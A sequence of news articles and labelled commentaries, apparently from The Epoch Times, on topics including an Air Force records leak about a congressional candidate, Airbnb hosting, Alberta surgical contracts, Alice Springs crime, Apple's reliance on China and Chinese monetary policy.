In the article publishing the records, Politico claimed that they had been obtained by legal means under a Freedom of Information Act request. This, the USAF confirmed, is incorrect.

Greens OPR documents were released under SF-180 procedures but against guidelines, as she did not give permission for the release. This publicized her sexual assault against her wishes for the matter to remain private.

Stefanek confirmed that the USAF was accepting fault for the leak in an email.

The Air Force takes full responsibility for releasing the information, Stefanek wrote. The investigation determined a junior individual didnt follow proper procedures.

She told The Epoch Times that the branch is taking steps to ensure that a similar leak does not happen in the future.

The Air Force undertook a thorough review of our records-release procedures, elevated the approval level for release of information to third parties, and conducted intensified retraining for personnel who handle record requests, Stefanek said.

She also clarified that the information was released under an SF-180 request.

SF-180s are commonly used by veterans, authorized legal recipients and surviving [next of kin]to obtain information from personnel records, Stefanek wrote. Third party requests require the members authorizing signature.

Vindicated

Green told Fox News that she felt vindicated by the admission, but said she remained frustrated.

Green said: I feel like Im vindicated in what Ive been saying all along. There are people that accused me of trying to have a last ditch smear effort on the congressman, and the DCCC [Democratic Congressional Campaign Committee], and the Democrat machine.

It happened exactly how I said it happened. My documents were obtained not through a [Freedom of Information Act] FOIA request like Politico falsely claimed. Politicos lawyers knew better, they knew these documents couldnt be obtained through FOIA, and they worked to be part of the Democrat smear machine, Green said, adding, they lied to cover their tracks.

Following the leak in October, Green contended that incumbent Rep. Frank Mrvan (D-Ind.) was likely responsible.

I believe Congressman Frank Mrvan illegally obtained those documents and was floating them around to [the] press, Green told Fox News at the time. Thats what our political team told us, that they were farming it out to several different press outlets to see who could write a very disgusting, ugly smear piece against me with the intent to paint me as a disgraced military officer.

Mrvans office did not reply to a request to comment on the allegations.

Republican Demands Answers

Greens story got the attention of Sen. Tom Cotton (R-Ark.), who echoed Greens concerns that there were political motivations behind the breach of protocol.

On October 7, 2022, Politico published highly private information from the military records of Lieutenant Colonel Jennifer-Ruth Green, USAF, including both the contents of her Officer Performance Reports and her own detailed account of being sexually assaulted while serving in Iraqan assault she had chosen to keep private until Politico decided to ignore her objections and publish the details anyway, Cotton wrote in a letter to Secretary of the Air Force Frank Kendall and National Guard Bureau Chief Daniel Hokansan.

In the Politico article, Cotton noted, the reporter responsible contended that the documents  were obtained by a public records request and provided to [Politico.] According to the reporter, these documents were obtained in accordance with the guidelines of the Freedom of Information Act (FOIA).

However, Cotton noted, these kinds of documents cannot be revealed without the express consent of the subject of such documents.

Cotton said, The release of Lt. Col Greens personnel records appears to be a grave violation of both Lt. Col. Greens privacy and federal law.

Cotton also noted that the release of these documents may have had nefarious and partisan goals in view of the proximity of the 2022 midterms when the documents were released.

Of additional concern is the appearance that the party responsible for releasing these Air Force documents may be exploiting private matters, including a sexual assault, for partisan purposes to interfere in the democratic process just weeks before an election, Cotton concluded, closing the letter out with a demand for a prompt explanation of how the documents were leaked.

Still, questions remain as to who leaked the documents, or if they were conscripted to do so by outside groups, as Green and Cotton have contended.

In November, Green faced off against the incumbent Mrvan in Indianas first congressional district. In the blue-leaning district, Mrvan defeated Green 52.8 percent to Greens 47.2 percent.

Released just before the election, it is unclear what impact the leaked documents may have had on the outcome.
If you have a large house, empty apartment, or additional properties, you might be a candidate to host an Airbnb. However, to do it right and make a profit, it will take an investment of time.

But what kind of investment does it take? And can you make a profit renting out your place?

Know Your Local Regulations

Before you even consider hosting an Airbnb, know your citys regulations. Each municipality is different. And some have stringent rules with high fines if you break them.

For example, in Charleston, South Carolina, an Airbnb must be registered with the city and the owner must declare their home as their primary residence. In addition, the short-term accommodations must be an accessory unit. In other words, the main house cannot be leased as a short-term rental.

There are other regulations, but if they are not followed, there are fines. For example, property owners who do not have a permit can be fined $1,000 per offense. That means for every night they have a renter, they are fined. Other cities have similar laws.

If youre not up on your regulations, your profits could be cut drastically.

Location Is Critical

Location is critical to your success. You need to own a home in a desirable location. Before marketing your property as an Airbnb, ensure youre close to spots your guests want to visit.

Let the guests know what the distance to public transportation is. Is it close by? What types of businesses or restaurants are within walking distance? These are important to someone who is vacationing without a vehicle.

Make sure the map on the Airbnb website shows the area around your listing. If you have a great location, you want the public to know about it. Thats a large selling point.

Property in Great Condition

Keep your property in good condition and make it clean, comfortable, and well-maintained. Its worth investing in high-quality linens, furniture, and appliances to make your guests stay as pleasant as possible.

How to Determine Pricing

Determining pricing can be tricky. You dont want it to high, so you scare people off. But you dont want to leave money on the table. Thats where your location comes into play. A great location will demand a higher price.

If your property is in pristine condition, it will also be worth it to many renters. And note any amenities that can add to the price. For example, do you have a swimming pool? Are you near the beach? These can add to the price.

Check your competitions pricing. Itll let you gauge where you should be to stay competitive.

Remember that prices will fluctuate depending on the time of the year. Youll have higher prices during the peak season.

Your listings occupancy rate will also affect pricing.

Maximize Revenue with High Occupancy Rate

Youll need a strong occupancy rate. The occupancy rate is the number of days in the month the Airbnb is booked. And although many factors go into it, generally 28 percent occupancy rate is considered realistic. This contrasts with a 6075 percent occupancy rate for hotels.

The occupancy rate fluctuates according to the time of the year. If youre a summer destination, you might hit a higher occupancy rate and vice versa if youre a winter destination.

Airbnb Marketing Plan Vital

To market your property to potential guests, start with writing a detailed listing. Include all information about the property, including amenities, nearby attractions and location. Theres no such thing as too much information.

Use online platforms like Airbnb, booking.com, and HomeAway to market your property. When you do have guests, encourage reviews. Positive reviews are great for attracting new guests.

Social media like Facebook and Instagram are great for marketing your property. Share photos and information about your property.

And finally, dont be shy about offering discounts and promotions to attract guests during the off seasons.

Take Clear Pictures

Taking great pictures of your property is vital. They should be high quality. To do this, take photos during the day when there is natural light. Show the best features. This could be your pool for summer guests or a comfy fireplace for winter guests.

Use the best camera you can afford; this is an investment.

And make sure you have every space clean and clutter-free. This will make the pictures look more professional.

Talk to Your Accountant

Check and see if you have any Airbnb taxes that you need to collect for your municipality. That way, you can tack them onto the price of the rent.

Keep in mind that this is a business and should be run that way. So, discuss any tax deductions you can take. Youll probably have cleaning costs and maintenance costs that can be deducted.

Add Some Income to Your Wallet

You may make a little extra income with your Airbnb, but be warned: you probably wont get rich. The number of rentals skyrocketed in September 2022 to 1.38 million. That was a 23.2 percent increase year over year.

That means theres a flood of inventory available. Its great for consumers and rough on the owners.

But if you have a pristine rental in a desirable location, there are still profits to be made.

The Epoch Times Copyright  2022 The views and opinions expressed are those of the authors. They are meant for general informational purposes only and should not be construed or interpreted as a recommendation or solicitation. The Epoch Times does not provide investment, tax, legal, financial planning, estate planning, or any other personal finance advice. The Epoch Times holds no liability for the accuracy or timeliness of the information provided.
Alberta Health Contracts Out Thousands of Orthopedic Surgeries to Reduce Backlogs

Alberta Health Minister Jason Copping speaks at a press conference in Edmonton on Sept. 21, 2021. (The Canadian Press/Jason Franson)

Alberta Health Services (AHS) will be contracting out 3,000 orthopedic surgeries per year to an independent health-care facility, which officials said will boost the number of operations and free up hospital space.

The contract with Calgary-based Canadian Surgery Solutions (CSS) will increase total orthopedic surgeries in the city by 21 percent, said Alberta Health Minister Jason Copping in a press conference on Jan. 23.

Copping said the province will also open 11 new operating rooms at Foothills Medical Centre in Calgary by 2025, while also expanding and building new operating rooms in Edmonton, Edson, Grand Prairie, Lethbridge, Medicine Hat, and Rocky Mountain House.

We need to get wait times down and that means we need to fund more surgeries, he said.

We need to add ORs and hospitals and contracts charter surgical facilities to add this capacity. We need to look for unused capacity, especially in smaller communities, and use it if we possibly can, he added.

Copping said the contract with CSS is part of the Alberta Surgical Initiative (ASI) that seeks to clear surgical backlogs and reduce waitlists. The procedures will be publicly funded, he noted.

Contracted facilities and hospitals are managed in common through our publicly-funded health-care system, Copping said.

Contracted services are publicly funded services. Just like in hospitals, patients are assessed and waitlisted in common, and they get care from the same surgeons according to the same clinical standards.

The health minister noted that there are currently 6,000 people waiting for orthopedic surgeries in Calgary alone.

Pandemic Recovery

Copping said AHS has restored surgery volumes to the pre-pandemic levels of 2018 and 2019. The total waitlist also shrank from 81,000 in the fall of 2021, to between 68,000 to 70,000 in recent months.

When the pandemic first struck Alberta in March 2020, the surgery waitlist was at 68,000, which climbed to roughly 81,000 by fall 2021, Copping said in a December 2021 press conference.

During this period, Alberta launched ASI, which has explored collaboration with chartered surgical facilities. These facilities performed roughly 40,000 publicly funded surgeries in 2019, according to an August 2020 report from the provincial health department.

In the report, Copping said these chartered facilities will complete 30 percent of medically necessary scheduled surgeries by 2023.

Opposition health critic NDP MLA David Shepherd told reporters on Jan. 23 that contracting CSS for orthopedic surgeries will take resources away from the public system, adding that the United Conservative Party has not explained why it did not increase the capacity within the public health system, reported Global News.

Its clear private companies exist to make a profit. Every dollar is $1 taken out of the public system, he said.
Alice Springs Business Owners Reveal Crime Impact

Aboriginal children in the Mutitjulu community, near Alice Springs. The NT (Ian Waldie/Getty Images)

Pizza shops, service stations and hardware stores around Alice Springs sell different goods but share the same story.

Theyve all been robbed or ransacked in recent months.

David Moore from the BP truck stop said the crime spree was the worst hed ever seen.

The service station was broken into over the weekend, and spare car keys were stolen, meaning all staff cars must be locked in the yard during the day.

But that still hasnt stopped damage from being done, with rocks being hurled over the fence and smashing truck windows. Fuel pumps have also been damaged.

There are drunks on the street, theres fighting on the street that wasnt happening before, Moore told AAP, in reference to the mandatory alcohol bans ending six months ago.

The kids have gotten a lot worse, breaking and entering, stealing cars, smashing property.

Kathy Fritz from Kathys Place Bed and Breakfast said guests had been affected and she had rocks thrown at her car while driving into town.

Ms Fritz said while she hadnt personally been attacked, violent assaults were happening every day.

You only have to go down to the centre. Theres yelling and screaming and throwing chairs. Alice is a small town and people talk, she said.

A lot of people are scared, especially older people.

Sammys Pizza owner AJ Brar said women and children had stopped going out, fearing for their safety.

He has also found it hard to get delivery drivers who fear being attacked or having their cars damaged.

Nobody wants to drive now, he said.

The restaurant was recently attacked, but the criminals failed to break through the security bars. However, they still managed to smash the windows.

Brenton Joy from local Mitre 10 has lived in Alice Springs for 50 years and is finding it difficult to find staff.

He said the local bakery had been robbed 40 times and had to erect concrete bollards to stop ram raids.

Its disgusting whats going on, and people are leaving town, he said.

We have shutters on our doors and windows, but we have been ram-raided. They come in stealing glue, sniffable substances and hand sanitiser to drink.

At the moment theyre now running with weapons. I dont want to go shopping any time of the day because theyre doing this during daylight.

A truck driver was stood up at knifepoint earlier this week and had his vehicle stolen.

When he found it there was $8000 worth of tools missing. But Joy said he was lucky to get the truck back at all, with stolen vehicles usually torched.

AAP contacted a local Indigenous legal service for comment, speaking to a person who did not wish to be named.

The person said demand for their services had reached capacity but noted crime rates had always been high in Alice Springs.
Apple Cant Kick the iSlavery Habit in China

Activists set up a mock Uyghur forced labor camp outside the Apple flagship store in Washington on March 4, 2022. Protesters call on Apple to stop using Uyghur forced labor. (Nicholas Kamm/AFP/Getty Images)

Commentary

The history of Apples success is so inextricably linked to China that we should start thinking of it as a Chinese rather than an American company.

Apples leading design engineers, marketing gurus, and what could be called addiction specialists (who impede Apple users from using other brands through hardware and software incompatibilities) rule from Cupertino, California.

But Apples most important physical assets, worth billions of dollars, are its factories, machinery, specialist employees, and supply chain ecosystem. They are almost entirely in one totalitarian country: China.

That physical plant doesnt come cheaply. In 2016, Apples CEO Tim Cook reportedly made a secret agreement to invest $275 billion over five years to advance Chinas workforce and economy.

But he is under increasing political scrutiny over his choice to go all-in on China.

By 2020, according to data published in a two-part Financial Times series, Apple manufactured almost 100 percent of its products in China. The company has 14,000 employees in the country and monitors another 1.5 million employees, mostly in its China supply chain.

Apple not only produces in China, but reportedly participates in the repression of workers at its contract factories, in what some have called iSlavery.

A recent example is Apples complicity in suppressing protests against COVID-19 lockdowns.

According to the Financial Times, Apple did not just fail to support protesters; as it emerged Chinese citizens were using AirDrop to share information, the company limited use of the file-sharing tool, in a move seen as acquiescing to Beijings demands.

The work in contract factories is grueling. Turnover can exceed 300 percent annually. That is, the work is so unpopular that all workers in the factory quit three times over, every year.

Some students and villagers are reportedly bussed in and all but forced to work.

Unrest erupted at a factory compound operated by Foxconn, which runs the worlds biggest Apple iPhone factory, in Zhengzhou in central Chinas Henan Province, on Nov. 23, 2022. (Screenshot of Stephen McDonells Twitter account via The Epoch Times)

After rising political pressures, labor costs, tariffs, and COVID-19 lockdowns, Apple is finally in the early stages of diversifying its supply chain to other countries, like India and Vietnam.

Its a small step in the right direction, but the process is slow, with only 5 percent of its production currently outside China.

And India and Vietnam are themselves lackluster from a political perspective.

India is a democracy but too close to Russia, a dictatorship that repeatedly threatens nuclear war against its neighborssometimes subtly, sometimes flagrantly. New Delhi has long relied on Moscow for weaponry, and refused to join the United States and European Union in sanctions after Russia invaded Ukraine.

Vietnam is an authoritarian communist country closely linked to Moscow and Beijing. It gets approximately 80 percent of its arms imports from Russia, and continues to be plagued by anti-American propaganda. Vietnams 78-year-old communist party chief is consolidating his own power with a self-serving anti-corruption drive that parallels that of Chinas Xi Jinping a few years ago.

There are plenty of democracies around the world that do the right thing when it comes to Russia and China.

Yet Apple demonstrates its ethical failures by ignoring not only U.S. suppliers, but in part, jettisoning its long-term Taiwanese partners in favor of Chinese companies, both in China and India.

Even after four years of diversification to India and Vietnam, into 2024, Apple will continue to produce approximately 90 percent of its products in China, according to the Financial Times. By 2030, that figure would be at most 80 percent.

Given the persistent human rights abuse and militarism in communist China, its time to stop ignoring Apples empowerment of democracys most dangerous adversary. The United States and its allies should impose costs on Apple for enabling the Chinese Communist Party (CCP) through technology transfers and hundreds of billions of dollars.

Magnitsky sanctions could be upgraded with new laws that would make Tim Cook, the China supply-chain master, culpable for what should be considered international crimes in support of authoritarianism.

Apple products from authoritarian and non-allied countries could, along with all other products from these countries, be subject to tougher controls.

For example, all products from top-tier adversaries of democracy, like Russia and China, could be subject to tariffs of at least 35 percent.

Products from nonaligned or authoritarian countries, like India and Vietnam, could be subject to a minimum 25 percent tariff.

Zero-tariff regimes should be limited to those countries that are both democracies and allies of the United States, such as the European Union, Japan, South Korea, Taiwan, Australia, and the Philippines.

If the United States fails to use its global market power and limits access to its market for adversaries and friends of adversaries, countries will have little financial incentive to prioritize the global promotion of democracy and human rights. Countries and powerful corporations, like Apple, will continue to depend on authoritarian regimes, which will use that dependency to promote their own interests at the expense of democracy.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
About 3,800 acres of mixed grassland and shrubland in the northwestern foothills of the Big Snowy Mountains is being studied by Montana Fish, Wildlife, & Parks for a possible conservation easement.

The land is part of the Hannah Ranch, established in 1883 by Rogers Clifford. Clifford came to Montana from Maine in 1879, according to a history of the community of Moore. Clifford bought the ranch after working in the sheep industry in the White Sulphur Springs area. He was also the president of the First National Bank in Moore.

The land is now owned by Hannah Ranch LP. The property is located in Fergus County, within deer/elk Hunting District 411.

FWP is preparing a draft environmental assessment analyzing the easement. As part of that, the agency invites the public to identify any issues and concerns related to this proposal by Feb. 22. Comments received during this period will help FWP determine public interest, identify potential issues that would require further analysis, and provide insight for refining the proposal or developing and analyzing alternatives.

The property adjoins and facilitates access to the west Big Snowy Mountains where limited public access currently exists. The primary objectives of the proposed conservation easement are to provide perpetual conservation and enhancement of high-quality native habitats, maintain traditional agricultural land uses and provide opportunities for public access and recreation.

The ranch provides year-round (including winter range) habitat for elk, mule deer, white-tailed deer, moose, pronghorn, black bear, mountain lion, bobcat, wild turkey, sharp-tailed grouse, Hungarian partridge, pheasant, waterfowl, and a host of nongame and state Species of Concern, according to the FWP proposal.

The landowners receive financial compensation in exchange for adopting conservation and public access covenants while continuing to operate the ranch.

A copy of the scoping proposal is available online.

Written comments can be submitted to: Montana Fish, Wildlife & Parks, c/o Hannah Ranch Conservation Easement Proposal, PO Box 938, Lewistown, MT 59457. Or email comments to sandersen@mt.gov Attn: Hannah Ranch Conservation Easement Proposal.

If you have any questions regarding the proposed project, call Lewistown-area wildlife biologist Sonja Andersen at 406-366-5266 or email: sandersen@mt.gov
Arizona Will Keep Sending Illegal Immigrants out of State, New Governor Says

Illegal immigrants seeking asylum line up to be processed by U.S. Customs and Border Patrol agents at a gap in the border fence US-Mexico near San Luis, Arizona, on Dec. 26, 2022. (Rebecca Noble/AFP via Getty Images)

Arizona will continue transporting illegal immigrants out of the states border towns to major Democrat-led cities, but with some tweaks.

Following the steps of Texas Gov. Greg Abbott, in May 2022 then-Arizona Gov. Doug Ducey began offering illegal immigrants one-way bus tickets to Washington, D.C., saying that border communities were overwhelmed while receiving little action or assistance from the federal government.

Arizona Gov. Katie Hobbs, a Democrat, said at Jan. 20 press conference that she is open to keeping the busing program started by her Republican predecessor, so long as its verified to be effective and beneficial for those living along the border.

We need to look at that practice and make sure that its effective, [that] its something that supports local communities, Hobbs told reporters. If were spending the money to bus people, why not just get them to their final destination?

In a follow-up statement, a spokesperson for the governors office said that the Hobbs administration will make some changes to the program, including adding the option to transport the migrants to their desired destinations by air.

Were sending migrants to cities they actually need to go to and be connected with their sponsors, and we are doing it in a more cost effective way by looking at all travel options, not just buses, Berry told the Arizona Republic.

In a contract signed on Jan. 13, the Hobbs administration renewed the busing of illegal immigrants from the southern border. The contract uses the same vendor as before, AMI Expeditionary Healthcare, but has additional terms allowing the vendor to use air transportation.

Under the agreement, AMI is expected to provide transportation via a Boeing 737 aircraft to a designated location approved by the Arizona Department of Emergency and Military Affairs, on a one-flight-per-month basis. The plane should be able to support up to 150 immigrants plus support staff and provide the passengers with at least one meal along the trip.

Arizonas Container Wall Dismantled

While Duceys busing program lives on, his $82 million border wall consisting of thousands of shipping containers didnt survive.

In August 2022, Ducey ordered to have 3,820 feet of the previously open border near Yuma closed with 130 old shipping containers. That initiative had since been expanded to other parts of the border until the governor agreed to remove them.

The de-facto border wall was the target of a federal lawsuit, in which the U.S. Department of Justice accused the Ducey administration of erecting barriers that violate federal law, present serious public safety risks and environmental harms, and interfere with federal agencies ability to carry out their official duties. In response to the legal action, Duceys office called off the construction.

Arizona agencies and contractors stand ready to assist in the removal of the barriers, Ducey wrote in a letter to the federal government. But the federal government owes it to Arizonans and all Americans to release a timeline on when construction will begin and details about how it will secure the border while construction is underway.
GRONINGEN, NetherlandsA Chinese Ph.D. student said she couldnt control her tears when attending Shen Yun Performing Arts at the MartiniPlaza in Groningen on Lunar New Years Eve, Jan. 21.

I was shocked deeply. No words can describe how shocked I felt. Its incredibly exciting and inspiring, said Ms. Liu Yanzhe, a Ph.D. student who has studied in the Netherlands for over two years. I was born and grew up in China, an environment without freedom and beliefs. I felt Im the luckiest one [who can attend Shen Yun].

New York-based Shen Yun is the worlds top classical Chinese dance company and has a mission to show the beauty and goodness of China before communism. For 5,000 years Chinas civilization was built on values and virtues from the spiritual teachings of Buddhism, Taoism, and Confucianism.

Moved To Tears

When the show started, the scene on stage was like a big universe where many people came down from heaven, Ms. Liu said. I started to cry at that moment. I dont know the reason. I just felt that that the heaven is my home, and I want to go back.

She said she was touched deeper and deeper with each program as the performance went on.

I had very high expectations. However, the show is much higher than my expectations. Every program is beyond my imagination.  Liu Yanzhe

Actually, I had very high expectations. However, the show is much higher than my expectations. Every program is beyond my imagination. They are super wonderful, she said.

After attending the show, Ms. Liu concluded: There are divine beings in the universe. I believe in this.

The Communist Party teaches Chinese people atheism and to abandon traditional values, forcing the opposite of traditional Chinese culture onto the people. In the past 5,000 years before communism, Chinese people believed in virtues like loyalty, propriety, wisdom, justice, and benevolencevalues that are universal and shared the world over.

A Meaningful Experience

Ms. Liu was amazed that Shen Yun delivered rich information via its dances, music, and songs.

Shen Yun showed me that we can communicate and express emotions via dances. During those moments, there was no room for words, she said. [I realized that] we need to know the language if we communicate with words. But everybody can feel, see, and listen to us if we use music or dance to deliver messages.

Ms. Liu then explained what she understood from the dances, and listed the values she learned, such as people should do good deeds without asking for any return, people should be loyal and follow moral codes, and people should be brave and take responsibility.

I felt Shen Yun is very meaningful. Its important to everyone, she said. I felt that everybody came to the world with a mission. No matter whether we know this or not, we should be kind. This is very important.

Each Shen Yun performance consists of nearly 20 vignettes, presented through highly-expressive art forms such as classical Chinese dance, original orchestral music performed live, soloists who sing in the bel canto tradition, animated digital backdrops, and more.

Wishing Everybody Can Attend Shen Yun

Ms. Liu said she was proud to be Chinese when she saw the rich traditional Chinese values that Shen Yun presented. At the same time, she felt that these values could help people examine their own values, leading to people of greater character, which can only result in a more beautiful world.

I wish Shen Yun can present all around the world, that everybody can attend Shen Yun, she said. I feel sad that only a few Chinese people know traditional Chinese culture. A lot of Chinese dont want to know it because of the education [by the Communist Party].

Ms. Liu said that she doesnt practice any religion, but she knows that what Shen Yun presented is good.

We need to listen, watch, and feel the things before we judge them. Now I experienced these [the messages that Shen Yun delivers] are true values. I will tell my relatives what I experienced  I want to wake them up, to cherish the tradition and cultures, she said.

Reporting by Epoch Times Staff in Groningen, Netherlands.

The Epoch Times is a proud sponsor of Shen Yun Performing Arts. We have covered audience reactions since Shen Yuns inception in 2006.
Authoritarianism in China: City Emblems and Time Zone Politics

Commentary

Whole-process democracy, a term derived by the Chinese Communist Party to promote its self-acclaimed well-deserved democracy, contrasts sharply against reality. Hong Kong, an exception in China that used to enjoy limited democracy, met its fate and had its last election return a legislative council in which the pro-establishment bloc swept nearly all seats. This ex-British colony joined Chinas whole-process authoritarianism.

Some may say that the communists one-party rule was similarly found during the Kuomintang era before 1949, and the former may not be worse off than the latter. This is not true. At least the KMTs Three Peoples Principles had an elaborate design of constitutional rule, contrasting the communists attempts to exert dictatorship in all aspects of life.

An example comes from their perseverance in suppressing identities other than Chinese.

Before 1949, quite some cities in China had their own emblems. My favorite is that of Dalian (literally big combination, also known as Port Arthur) in Manchuria during the Japanese rulea trefoil formed by combining three stylized Chinese characters for big. After the founding of the PRC, the city/provincial emblem, a symbol of regionalism deemed to violate the principle of democratic centralism, was categorically banned.

The advent of the reform and opening up after the Cultural Revolution made the Chinese think otherwise, as they felt embarrassed being presented emblems by foreign cities when they formed friendship cities. Hence came a wave of designing city emblems in China, with Taiyuan being the first, featuring its landmark twin pagodas, a red torch representing its energy and chemical industry, and a black field symbolizing its rich coal resources.

However, in the eyes of the communist party, this was a sign of surging local identities, constituting endangerment of national security, and in November 1997, it finally ordered party committees and governments at all levels that only the national flag and emblem be used, and local flags and emblems were to be prohibited so to avoid all possible negative effects.

In other words, Hong Kong and Macau are the only local Chinese governments that enjoy the privilege of lawfully using their own flags and emblems. After the passing of the national security law, Hongkongers may suspect that this is one of the few benefits left for one country, two systems.

With this in mind, it will not be difficult to understand the following phenomenon: the Chinese territory covers five time zones, but only one timethe Beijing timeis used for the whole country. Those who have lived in countries like the United States, Canada, and Australia know that it needs more than one time zone for countries spreading over wide longitudes so that people can live in a normal day and night cycle. This commonsense approach was followed during the Republican period that was resolved in 1912, the very year the Republic was founded, to have five time zones, a national policy until the communist takeover in 1949.

The communists decided to adopt a single time zone policy and use the Beijing time for this vast country to symbolize national unity. As a result, western provinces such as Tibet and Xinjiang, three time zones away from Beijing, are still in the small hours when the sun rises in Beijing. It is not rare to have dinner served at midnight and exams held at night.

Unofficially, Uyghurs adopted the Urumqi time (two hours slower than Beijing time) in Xinjiang, whereas Han Chinese there mostly insist on using Beijing time, causing frequent confusion. Blatantly promoting national unity at the cost of ignoring the livelihood of the brother nationalities adds momentum to independence movements there.

Definitely, China is not the only player in time zone politics. To distance themselves from China, some Taiwanese suggested giving up Beijing time and following the clock of Japan and Korea, that is, one hour faster. The debate ended with no avail, but the experience of Taiwan and Xinjiang is important in that Beijing time, once embraced by the red guards as a symbol of Chairman Maos unitary command of the country, may be perceived as a sign of political suppression. Breaking Beijing time symbolizes political liberation.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
Beijings Loose Monetary Policy Fails to Boost Chinas Economy

A Chinese yuan currency sign with two arrows is pictured outside a bank branch of the Peoples Bank of China, in Shanghai, on Aug. 13, 2015. (Johannes Eisele/AFP via Getty Images)

News Analysis

The Peoples Bank of China (PBOC) recently published that the amount of private financing declined in December 2022, which is lower than market predictions.

Personal loans continued to slump while individual deposits exceeded 80 percent year over year. The growth curves of both categories of money supply M1 and money supply M2 have shown a downward trend, so there is a growing discrepancy between M1 and M2, as the price scissors indicated.

This was the expansionary monetary policy in 2022. Experts argued that the loose monetary policy failed to introduce expansionary credit. In other words, private financing and consumer consumption were not stimulated as expected, though Chinese Communist Party (CCP) officials have been trying various methods to ensure liquidity. It appears, however, that pump-priming has not had any effect on economic growth.

Investment and Consumption Fall

On Jan. 10, the PBOC released a series of reports, including the Financial Statistics Report (2022), Report on Aggregate Financing to the Real Economy (Flow) (2022), and Report on Aggregate Financing to the Real Economy (Stock) (2022), according to which the balance of broad money supply (M2) was 266.43 trillion yuan (about $39.34 trillion). It has grown at the rate of 11.8 percent year over year.

The balance of the narrow money supply (M1) was 67.17 trillion yuan (about $9.92 trillion), with a growth rate of 3.7 percent. The amount of currency in circulation (M0) was 10.47 trillion yuan (about $1.54 trillion, increasing by 15.3 percent year over year. The year 2022 has seen a net money injection of 1.39 trillion yuan (about $205.3 billion).

A man walks past the Beijing Stock Exchange on its first day of trading in Beijing on Nov. 15, 2021. (Wang Zhao/AFP via Getty Images)

The growth of M2 has revealed that there would have been a high potential for financing redemption alongside exponential growth in personal deposits. The lower growth rate of M1 has reflected that real estate sales remained lackluster, which curbed the industrial increment. In addition, the economic vitality was low. Negligible business funds were used for fixed-term investments.

In December 2022, the growth rate of M1 was higher than that of M2. The gap between M2 and M1 price scissors increased by 0.3 percent to 8.1 percent compared with November. As the price scissors indicated, there was a growing discrepancy between M1 and M2. It illustrated that business activities were hindered, cash flow was blocked to some extent, and customer savings increased while expenses decreased. (The scissors difference between the growth rates of M2 and M1 can be used as an observation variable to determine the degree of capital activity.)

In 2021, household loans increased by 7.92 trillion yuan (about $1.17 trillion) in total, short-term loans increased by 1.84 trillion yuan (about $271.8 billion), and medium- and long-term loans increased by 6.08 trillion yuan (about $898.1 billion).

In 2022, household loans increased by 3.83 trillion yuan (about $565.7 billion), short-term loans increased by 1.08 trillion yuan (about $159.5 billion), and medium- and long-term loans increased by 2.75 trillion yuan (about $406.2 billion). Accordingly, newly added household loans dropped by 52 percent, and newly added medium- and long-term loans dropped by 54 percent. It also manifested in the downturn in the real estate market, and considerably fewer people were buying houses via taking out a loan.

In 2021, household deposits reached 9.9 trillion yuan (about $1.46 trillion). It was 17.84 trillion yuan (about $2.64 trillion) in 2022, with an increase of 80.2 percent, which is in stark contrast to the previous year. In 2022, personal deposits nearly doubled while loans decreased by more than half. It has shown that consumer confidence in economic growth fell dramatically, and people are reluctant to invest or consume.

During a speech at the China Financial Security Forum on Dec. 24, 2022, Chinese economist Wei Jianing stated that the long-term slowdown in economic growth had become a significant threat to national economic security. Although Chinas State Council held an emergency conference of 100,000 representatives at the end of May 2022, followed by Six Aspects, Thirty-Three Sets of Measures, and Plan of Twelve Trillion Yuan Economic Stabilization, the economist said, No effect has been seen on economic growth.

A pedestrian walks past the Peoples Bank of China, also known as Chinas Central Bank, in central Beijing, on Aug. 9, 2007. (Teh Eng Koon/AFP via Getty Images)

A Decline in Aggregate Private Financing

Based on the official data released by the CCP, the balance of aggregate private financing to the real economy amounted to 344.21 trillion yuan (about $50.8 trillion) at the end of 2022, a year-over-year increase of 9.6 percent. In 2022, the cumulative increase in aggregate private financing reached 32.01 trillion yuan (about $4.73 trillion), which was 668.9 billion yuan (about $98.8 billion) more than the previous year. In December 2022, aggregate private financing increased by 1.31 trillion yuan (about $193.5 billion). The amount was 1.05 trillion yuan (about $155.1 billion) less than that of December 2021 and 680 billion yuan (about $100.4 billion) less than that of November 2022. This denoted that the financing scale had been sliding away.

In December 2022, the net financing of corporate bonds saw a sharp decrease of 270.9 billion yuan (about $40 billion), 487.6 billion yuan (about $72 billion) less than that of December 2021. The decline is related to the withdrawal of the net value of financial productsthat is, financial products got redeemed and converted into deposits; however, bonds were sold off, which resulted in canceling or terminating new bonds.

In December 2022, the public and private sectors reduced short-term loans by 41.6 billion yuan (about $6.15 billion) but increased medium- and long-term loans by 1.2 trillion yuan (about $177.3 billion), of which most obligors are from real estate. Thus, it has been revealed that official policies have little influence on expanding domestic demand for real estate.

In this regard, Xiong Yuan, the chief economist of Guosheng Securities, said that the loose monetary policy throughout 2022 did not bring the desired widening of credit. Conversely, the growth rate of aggregate private financing has dropped slightly overall, with an upside-down U curve. The main drivers are Treasury bonds, policy-based financial instruments, and refinancing for equipment upgrading.

PMI and Non-Manufacturing Business Activity Index Fall

The production and outlook level of the manufacturing industry has dropped from the previous month. According to Chinas National Bureau of Statistics (NBS), in December 2022, the purchasing manager index (PMI) was 47.0 percent, one percentage point lower than the previous month and lower than the critical point. Furthermore, the weightings of five subindexes in PMI are all below the critical point:

The weight of the output was 44.6 percent, 3.2 percentage points lower than that of the previous month, indicating that manufacturing output fell.

The weight of new orders was 43.9 percent, 2.5 percentage points lower than that of the previous month, indicating that the manufacturing market demand decreased.

The employment weight was 44.8 percent, 2.6 percentage points lower than the previous month, indicating that the manufacturing employment rate declined.

The weight of stocks of inventories was 47.1 percent, 0.4 percentage points higher than the previous month, indicating that the inventory stock slid away.

The weight of supplier delivery time was 40.1 percent, 6.6 percentage points lower than that of the previous month, indicating that the delivery time of raw material suppliers was delayed.

In December 2022, the weight of non-manufacturing business activity was 41.6 percent, a decrease of 5.1 percentage points from the previous month, lower than the critical point, and the production and outlook level of the non-manufacturing declined. The weights of business activities, including retail, transportation, accommodation, catering, and public services, were lower than 35.0 percent.

Prospect Index of Real Estate Fall to Lowest Level

Based on data released by the NBS on Jan. 17, the net sales area of commercial property in 2022 amounted to 1.358 billion square meters, a year-over-year decrease of 24.3 percent, and the sales volume of commercial property amounted to 13.33 trillion yuan (about $1.97 trillion), a year-over-year decrease of 26.7 percent. The national average of commercial property rate was 10,185 yuan (about $1,501) per square meter, a 2 percent decrease in contrast to that of the previous month.

